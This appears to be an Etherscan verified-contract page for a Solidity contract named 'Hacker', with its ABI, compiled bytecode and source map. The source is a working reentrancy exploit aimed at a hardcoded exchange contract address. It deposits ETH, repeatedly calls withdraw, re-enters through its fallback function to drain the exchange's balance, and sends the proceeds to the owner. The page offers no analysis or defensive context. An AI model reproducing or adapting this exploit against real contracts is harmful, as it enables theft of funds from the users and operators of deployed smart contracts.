Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IExchange
•    - function deposit()
•    - function withdraw(address token, uint ...
•  contract Hacker *
•    - function depositETHForGas()
•    - function depositToExchange()
•    - function attack(uint256 amount)
•    - function collectFunds()
•    - function getBalance()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-08-01
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

interface IExchange {
    function deposit() external payable;
    function withdraw(address token, uint256 amount) external returns (bool success);
}

contract Hacker {
    IExchange public exchange;
    address public owner;

    // Constructor to initialize the contract with the address of the Exchange contract
    constructor() {
        exchange = IExchange(0x3c6B34CDc91e0d37D04da994bf16bd4551E7975d);
        owner = msg.sender;
    }

    // Function to deposit ETH into the Hacker contract to cover gas fees
    function depositETHForGas() public payable {
        require(msg.value > 0, "Must send ETH to cover gas fees");
    }

    // Function to deposit ETH into the Exchange contract
    function depositToExchange() public payable {
        require(msg.value > 0, "Must send ETH to deposit into Exchange");
        exchange.deposit{value: msg.value}();
    }

    // Function to initiate the reentrancy attack with dynamic iterations
    function attack(uint256 amount) public {
        require(msg.sender == owner, "Only owner can initiate the attack");
        uint256 iterations = address(exchange).balance / amount;
        for (uint256 i = 0; i < iterations; i++) {
            exchange.withdraw(0x0000000000000000000000000000000000000000, amount);
        }
    }

    // Receive function to handle plain Ether transfers
    receive() external payable {
        // Logic can be added here if needed
    }

    // Fallback function to handle reentrancy during the attack
    fallback() external payable {
        uint256 gasForReentry = gasleft() - 10000; // leave some gas for safety
        if (address(exchange).balance >= 1 ether) {
            (bool success,) = address(exchange).call{gas: gasForReentry}(
                abi.encodeWithSignature("withdraw(address,uint256)", 0x0000000000000000000000000000000000000000, address(this).balance)
            );
            require(success, "Reentrancy failed");
        }
    }

    // Function to collect remaining ETH after the attack
    function collectFunds() public {
        require(msg.sender == owner, "Only owner can collect funds");
        payable(owner).transfer(address(this).balance);
    }

    // Function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"attack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"collectFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"depositETHForGas","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"depositToExchange","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"exchange","outputs":[{"internalType":"contract IExchange","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801561001057600080fd5b50733c6b34cdc91e0d37d04da994bf16bd4551e7975d6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d41806100b56000396000f3fe6080604052600436106100745760003560e01c806364dd891a1161004e57806364dd891a146102845780638da5cb5b146102ad578063a3fdf222146102d8578063d2f7265a146102e25761007b565b806312065fe014610238578063513f0096146102635780635b9806281461026d5761007b565b3661007b57005b60006127105a61008b9190610738565b9050670de0b6b3a764000060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631106102355760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826000476040516024016101229291906107bc565b6040516020818303038152906040527ff3fef3a3000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516101ac919061085f565b60006040518083038160008787f1925050503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b5050905080610233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022a906108d3565b60405180910390fd5b505b50005b34801561024457600080fd5b5061024d61030d565b60405161025a91906108f3565b60405180910390f35b61026b610315565b005b34801561027957600080fd5b5061028261035a565b005b34801561029057600080fd5b506102ab60048036038101906102a6919061093f565b610455565b005b3480156102b957600080fd5b506102c26105ef565b6040516102cf919061096c565b60405180910390f35b6102e0610615565b005b3480156102ee57600080fd5b506102f76106db565b60405161030491906109e6565b60405180910390f35b600047905090565b60003411610358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034f90610a4d565b60405180910390fd5b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e190610ab9565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610452573d6000803e3d6000fd5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104dc90610b4b565b60405180910390fd5b60008160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163161052a9190610b9a565b905060005b818110156105ea5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a36000856040518363ffffffff1660e01b81526004016105939291906107bc565b6020604051808303816000875af11580156105b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d69190610c03565b5080806105e290610c30565b91505061052f565b505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003411610658576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064f90610ceb565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156106c057600080fd5b505af11580156106d4573d6000803e3d6000fd5b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610743826106ff565b915061074e836106ff565b92508282101561076157610760610709565b5b828203905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006107978261076c565b9050919050565b6107a78161078c565b82525050565b6107b6816106ff565b82525050565b60006040820190506107d1600083018561079e565b6107de60208301846107ad565b9392505050565b600081519050919050565b600081905092915050565b60005b838110156108195780820151818401526020810190506107fe565b83811115610828576000848401525b50505050565b6000610839826107e5565b61084381856107f0565b93506108538185602086016107fb565b80840191505092915050565b600061086b828461082e565b915081905092915050565b600082825260208201905092915050565b7f5265656e7472616e6379206661696c6564000000000000000000000000000000600082015250565b60006108bd601183610876565b91506108c882610887565b602082019050919050565b600060208201905081810360008301526108ec816108b0565b9050919050565b600060208201905061090860008301846107ad565b92915050565b600080fd5b61091c816106ff565b811461092757600080fd5b50565b60008135905061093981610913565b92915050565b6000602082840312156109555761095461090e565b5b60006109638482850161092a565b91505092915050565b6000602082019050610981600083018461079e565b92915050565b6000819050919050565b60006109ac6109a76109a28461076c565b610987565b61076c565b9050919050565b60006109be82610991565b9050919050565b60006109d0826109b3565b9050919050565b6109e0816109c5565b82525050565b60006020820190506109fb60008301846109d7565b92915050565b7f4d7573742073656e642045544820746f20636f76657220676173206665657300600082015250565b6000610a37601f83610876565b9150610a4282610a01565b602082019050919050565b60006020820190508181036000830152610a6681610a2a565b9050919050565b7f4f6e6c79206f776e65722063616e20636f6c6c6563742066756e647300000000600082015250565b6000610aa3601c83610876565b9150610aae82610a6d565b602082019050919050565b60006020820190508181036000830152610ad281610a96565b9050919050565b7f4f6e6c79206f776e65722063616e20696e69746961746520746865206174746160008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b6000610b35602283610876565b9150610b4082610ad9565b604082019050919050565b60006020820190508181036000830152610b6481610b28565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000610ba5826106ff565b9150610bb0836106ff565b925082610bc057610bbf610b6b565b5b828204905092915050565b60008115159050919050565b610be081610bcb565b8114610beb57600080fd5b50565b600081519050610bfd81610bd7565b92915050565b600060208284031215610c1957610c1861090e565b5b6000610c2784828501610bee565b91505092915050565b6000610c3b826106ff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610c6e57610c6d610709565b5b600182019050919050565b7f4d7573742073656e642045544820746f206465706f73697420696e746f20457860008201527f6368616e67650000000000000000000000000000000000000000000000000000602082015250565b6000610cd5602683610876565b9150610ce082610c79565b604082019050919050565b60006020820190508181036000830152610d0481610cc8565b905091905056fea264697066735822122002a20004011f1a8eb0275ff5b2da582ac62c3c47cee2e3bdc052f824126d087b64736f6c634300080a0033

0x6080604052600436106100745760003560e01c806364dd891a1161004e57806364dd891a146102845780638da5cb5b146102ad578063a3fdf222146102d8578063d2f7265a146102e25761007b565b806312065fe014610238578063513f0096146102635780635b9806281461026d5761007b565b3661007b57005b60006127105a61008b9190610738565b9050670de0b6b3a764000060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631106102355760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826000476040516024016101229291906107bc565b6040516020818303038152906040527ff3fef3a3000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516101ac919061085f565b60006040518083038160008787f1925050503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b5050905080610233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022a906108d3565b60405180910390fd5b505b50005b34801561024457600080fd5b5061024d61030d565b60405161025a91906108f3565b60405180910390f35b61026b610315565b005b34801561027957600080fd5b5061028261035a565b005b34801561029057600080fd5b506102ab60048036038101906102a6919061093f565b610455565b005b3480156102b957600080fd5b506102c26105ef565b6040516102cf919061096c565b60405180910390f35b6102e0610615565b005b3480156102ee57600080fd5b506102f76106db565b60405161030491906109e6565b60405180910390f35b600047905090565b60003411610358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034f90610a4d565b60405180910390fd5b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e190610ab9565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610452573d6000803e3d6000fd5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104dc90610b4b565b60405180910390fd5b60008160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163161052a9190610b9a565b905060005b818110156105ea5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a36000856040518363ffffffff1660e01b81526004016105939291906107bc565b6020604051808303816000875af11580156105b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d69190610c03565b5080806105e290610c30565b91505061052f565b505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003411610658576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064f90610ceb565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156106c057600080fd5b505af11580156106d4573d6000803e3d6000fd5b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610743826106ff565b915061074e836106ff565b92508282101561076157610760610709565b5b828203905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006107978261076c565b9050919050565b6107a78161078c565b82525050565b6107b6816106ff565b82525050565b60006040820190506107d1600083018561079e565b6107de60208301846107ad565b9392505050565b600081519050919050565b600081905092915050565b60005b838110156108195780820151818401526020810190506107fe565b83811115610828576000848401525b50505050565b6000610839826107e5565b61084381856107f0565b93506108538185602086016107fb565b80840191505092915050565b600061086b828461082e565b915081905092915050565b600082825260208201905092915050565b7f5265656e7472616e6379206661696c6564000000000000000000000000000000600082015250565b60006108bd601183610876565b91506108c882610887565b602082019050919050565b600060208201905081810360008301526108ec816108b0565b9050919050565b600060208201905061090860008301846107ad565b92915050565b600080fd5b61091c816106ff565b811461092757600080fd5b50565b60008135905061093981610913565b92915050565b6000602082840312156109555761095461090e565b5b60006109638482850161092a565b91505092915050565b6000602082019050610981600083018461079e565b92915050565b6000819050919050565b60006109ac6109a76109a28461076c565b610987565b61076c565b9050919050565b60006109be82610991565b9050919050565b60006109d0826109b3565b9050919050565b6109e0816109c5565b82525050565b60006020820190506109fb60008301846109d7565b92915050565b7f4d7573742073656e642045544820746f20636f76657220676173206665657300600082015250565b6000610a37601f83610876565b9150610a4282610a01565b602082019050919050565b60006020820190508181036000830152610a6681610a2a565b9050919050565b7f4f6e6c79206f776e65722063616e20636f6c6c6563742066756e647300000000600082015250565b6000610aa3601c83610876565b9150610aae82610a6d565b602082019050919050565b60006020820190508181036000830152610ad281610a96565b9050919050565b7f4f6e6c79206f776e65722063616e20696e69746961746520746865206174746160008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b6000610b35602283610876565b9150610b4082610ad9565b604082019050919050565b60006020820190508181036000830152610b6481610b28565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000610ba5826106ff565b9150610bb0836106ff565b925082610bc057610bbf610b6b565b5b828204905092915050565b60008115159050919050565b610be081610bcb565b8114610beb57600080fd5b50565b600081519050610bfd81610bd7565b92915050565b600060208284031215610c1957610c1861090e565b5b6000610c2784828501610bee565b91505092915050565b6000610c3b826106ff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610c6e57610c6d610709565b5b600182019050919050565b7f4d7573742073656e642045544820746f206465706f73697420696e746f20457860008201527f6368616e67650000000000000000000000000000000000000000000000000000602082015250565b6000610cd5602683610876565b9150610ce082610c79565b604082019050919050565b60006020820190508181036000830152610d0481610cc8565b905091905056fea264697066735822122002a20004011f1a8eb0275ff5b2da582ac62c3c47cee2e3bdc052f824126d087b64736f6c634300080a0033

218:2238:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1638:21;1674:5;1662:9;:17;;;;:::i;:::-;1638:41;;1752:7;1731:8;;;;;;;;;;1723:25;;;:36;1719:334;;1777:12;1802:8;;;;;;;;;;;1794:22;;1822:13;1908:42;1952:21;1855:119;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1794:195;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1776:213;;;2012:7;2004:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;1761:292;1719:334;1627:433;218:2238;2357:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;600:119;;;:::i;:::-;;2127:167;;;;;;;;;;;;;:::i;:::-;;1043:337;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;273:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;786:174;;;:::i;:::-;;241:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2357:96;2400:4;2424:21;2417:28;;2357:96;:::o;600:119::-;674:1;662:9;:13;654:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;600:119::o;2127:167::-;2191:5;;;;;;;;;;;2177:19;;:10;:19;;;2169:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;2248:5;;;;;;;;;;;2240:23;;:46;2264:21;2240:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2127:167::o;1043:337::-;1115:5;;;;;;;;;;;1101:19;;:10;:19;;;1093:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1170:18;1219:6;1199:8;;;;;;;;;;1191:25;;;:34;;;;:::i;:::-;1170:55;;1241:9;1236:137;1260:10;1256:1;:14;1236:137;;;1292:8;;;;;;;;;;:17;;;1310:42;1354:6;1292:69;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;1272:3;;;;;:::i;:::-;;;;1236:137;;;;1082:298;1043:337;:::o;273:20::-;;;;;;;;;;;;;:::o;786:174::-;861:1;849:9;:13;841:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;916:8;;;;;;;;;;:16;;;940:9;916:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;786:174::o;241:25::-;;;;;;;;;;;;:::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:180::-;138:77;135:1;128:88;235:4;232:1;225:15;259:4;256:1;249:15;276:191;316:4;336:20;354:1;336:20;:::i;:::-;331:25;;370:20;388:1;370:20;:::i;:::-;365:25;;409:1;406;403:8;400:34;;;414:18;;:::i;:::-;400:34;459:1;456;452:9;444:17;;276:191;;;;:::o;473:126::-;510:7;550:42;543:5;539:54;528:65;;473:126;;;:::o;605:96::-;642:7;671:24;689:5;671:24;:::i;:::-;660:35;;605:96;;;:::o;707:118::-;794:24;812:5;794:24;:::i;:::-;789:3;782:37;707:118;;:::o;831:::-;918:24;936:5;918:24;:::i;:::-;913:3;906:37;831:118;;:::o;955:332::-;1076:4;1114:2;1103:9;1099:18;1091:26;;1127:71;1195:1;1184:9;1180:17;1171:6;1127:71;:::i;:::-;1208:72;1276:2;1265:9;1261:18;1252:6;1208:72;:::i;:::-;955:332;;;;;:::o;1293:98::-;1344:6;1378:5;1372:12;1362:22;;1293:98;;;:::o;1397:147::-;1498:11;1535:3;1520:18;;1397:147;;;;:::o;1550:307::-;1618:1;1628:113;1642:6;1639:1;1636:13;1628:113;;;1727:1;1722:3;1718:11;1712:18;1708:1;1703:3;1699:11;1692:39;1664:2;1661:1;1657:10;1652:15;;1628:113;;;1759:6;1756:1;1753:13;1750:101;;;1839:1;1830:6;1825:3;1821:16;1814:27;1750:101;1599:258;1550:307;;;:::o;1863:373::-;1967:3;1995:38;2027:5;1995:38;:::i;:::-;2049:88;2130:6;2125:3;2049:88;:::i;:::-;2042:95;;2146:52;2191:6;2186:3;2179:4;2172:5;2168:16;2146:52;:::i;:::-;2223:6;2218:3;2214:16;2207:23;;1971:265;1863:373;;;;:::o;2242:271::-;2372:3;2394:93;2483:3;2474:6;2394:93;:::i;:::-;2387:100;;2504:3;2497:10;;2242:271;;;;:::o;2519:169::-;2603:11;2637:6;2632:3;2625:19;2677:4;2672:3;2668:14;2653:29;;2519:169;;;;:::o;2694:167::-;2834:19;2830:1;2822:6;2818:14;2811:43;2694:167;:::o;2867:366::-;3009:3;3030:67;3094:2;3089:3;3030:67;:::i;:::-;3023:74;;3106:93;3195:3;3106:93;:::i;:::-;3224:2;3219:3;3215:12;3208:19;;2867:366;;;:::o;3239:419::-;3405:4;3443:2;3432:9;3428:18;3420:26;;3492:9;3486:4;3482:20;3478:1;3467:9;3463:17;3456:47;3520:131;3646:4;3520:131;:::i;:::-;3512:139;;3239:419;;;:::o;3664:222::-;3757:4;3795:2;3784:9;3780:18;3772:26;;3808:71;3876:1;3865:9;3861:17;3852:6;3808:71;:::i;:::-;3664:222;;;;:::o;3973:117::-;4082:1;4079;4072:12;4219:122;4292:24;4310:5;4292:24;:::i;:::-;4285:5;4282:35;4272:63;;4331:1;4328;4321:12;4272:63;4219:122;:::o;4347:139::-;4393:5;4431:6;4418:20;4409:29;;4447:33;4474:5;4447:33;:::i;:::-;4347:139;;;;:::o;4492:329::-;4551:6;4600:2;4588:9;4579:7;4575:23;4571:32;4568:119;;;4606:79;;:::i;:::-;4568:119;4726:1;4751:53;4796:7;4787:6;4776:9;4772:22;4751:53;:::i;:::-;4741:63;;4697:117;4492:329;;;;:::o;4827:222::-;4920:4;4958:2;4947:9;4943:18;4935:26;;4971:71;5039:1;5028:9;5024:17;5015:6;4971:71;:::i;:::-;4827:222;;;;:::o;5055:60::-;5083:3;5104:5;5097:12;;5055:60;;;:::o;5121:142::-;5171:9;5204:53;5222:34;5231:24;5249:5;5231:24;:::i;:::-;5222:34;:::i;:::-;5204:53;:::i;:::-;5191:66;;5121:142;;;:::o;5269:126::-;5319:9;5352:37;5383:5;5352:37;:::i;:::-;5339:50;;5269:126;;;:::o;5401:142::-;5467:9;5500:37;5531:5;5500:37;:::i;:::-;5487:50;;5401:142;;;:::o;5549:163::-;5652:53;5699:5;5652:53;:::i;:::-;5647:3;5640:66;5549:163;;:::o;5718:254::-;5827:4;5865:2;5854:9;5850:18;5842:26;;5878:87;5962:1;5951:9;5947:17;5938:6;5878:87;:::i;:::-;5718:254;;;;:::o;5978:181::-;6118:33;6114:1;6106:6;6102:14;6095:57;5978:181;:::o;6165:366::-;6307:3;6328:67;6392:2;6387:3;6328:67;:::i;:::-;6321:74;;6404:93;6493:3;6404:93;:::i;:::-;6522:2;6517:3;6513:12;6506:19;;6165:366;;;:::o;6537:419::-;6703:4;6741:2;6730:9;6726:18;6718:26;;6790:9;6784:4;6780:20;6776:1;6765:9;6761:17;6754:47;6818:131;6944:4;6818:131;:::i;:::-;6810:139;;6537:419;;;:::o;6962:178::-;7102:30;7098:1;7090:6;7086:14;7079:54;6962:178;:::o;7146:366::-;7288:3;7309:67;7373:2;7368:3;7309:67;:::i;:::-;7302:74;;7385:93;7474:3;7385:93;:::i;:::-;7503:2;7498:3;7494:12;7487:19;;7146:366;;;:::o;7518:419::-;7684:4;7722:2;7711:9;7707:18;7699:26;;7771:9;7765:4;7761:20;7757:1;7746:9;7742:17;7735:47;7799:131;7925:4;7799:131;:::i;:::-;7791:139;;7518:419;;;:::o;7943:221::-;8083:34;8079:1;8071:6;8067:14;8060:58;8152:4;8147:2;8139:6;8135:15;8128:29;7943:221;:::o;8170:366::-;8312:3;8333:67;8397:2;8392:3;8333:67;:::i;:::-;8326:74;;8409:93;8498:3;8409:93;:::i;:::-;8527:2;8522:3;8518:12;8511:19;;8170:366;;;:::o;8542:419::-;8708:4;8746:2;8735:9;8731:18;8723:26;;8795:9;8789:4;8785:20;8781:1;8770:9;8766:17;8759:47;8823:131;8949:4;8823:131;:::i;:::-;8815:139;;8542:419;;;:::o;8967:180::-;9015:77;9012:1;9005:88;9112:4;9109:1;9102:15;9136:4;9133:1;9126:15;9153:185;9193:1;9210:20;9228:1;9210:20;:::i;:::-;9205:25;;9244:20;9262:1;9244:20;:::i;:::-;9239:25;;9283:1;9273:35;;9288:18;;:::i;:::-;9273:35;9330:1;9327;9323:9;9318:14;;9153:185;;;;:::o;9344:90::-;9378:7;9421:5;9414:13;9407:21;9396:32;;9344:90;;;:::o;9440:116::-;9510:21;9525:5;9510:21;:::i;:::-;9503:5;9500:32;9490:60;;9546:1;9543;9536:12;9490:60;9440:116;:::o;9562:137::-;9616:5;9647:6;9641:13;9632:22;;9663:30;9687:5;9663:30;:::i;:::-;9562:137;;;;:::o;9705:345::-;9772:6;9821:2;9809:9;9800:7;9796:23;9792:32;9789:119;;;9827:79;;:::i;:::-;9789:119;9947:1;9972:61;10025:7;10016:6;10005:9;10001:22;9972:61;:::i;:::-;9962:71;;9918:125;9705:345;;;;:::o;10056:233::-;10095:3;10118:24;10136:5;10118:24;:::i;:::-;10109:33;;10164:66;10157:5;10154:77;10151:103;;;10234:18;;:::i;:::-;10151:103;10281:1;10274:5;10270:13;10263:20;;10056:233;;;:::o;10295:225::-;10435:34;10431:1;10423:6;10419:14;10412:58;10504:8;10499:2;10491:6;10487:15;10480:33;10295:225;:::o;10526:366::-;10668:3;10689:67;10753:2;10748:3;10689:67;:::i;:::-;10682:74;;10765:93;10854:3;10765:93;:::i;:::-;10883:2;10878:3;10874:12;10867:19;;10526:366;;;:::o;10898:419::-;11064:4;11102:2;11091:9;11087:18;11079:26;;11151:9;11145:4;11141:20;11137:1;11126:9;11122:17;11115:47;11179:131;11305:4;11179:131;:::i;:::-;11171:139;;10898:419;;;:::o

ipfs://02a20004011f1a8eb0275ff5b2da582ac62c3c47cee2e3bdc052f824126d087b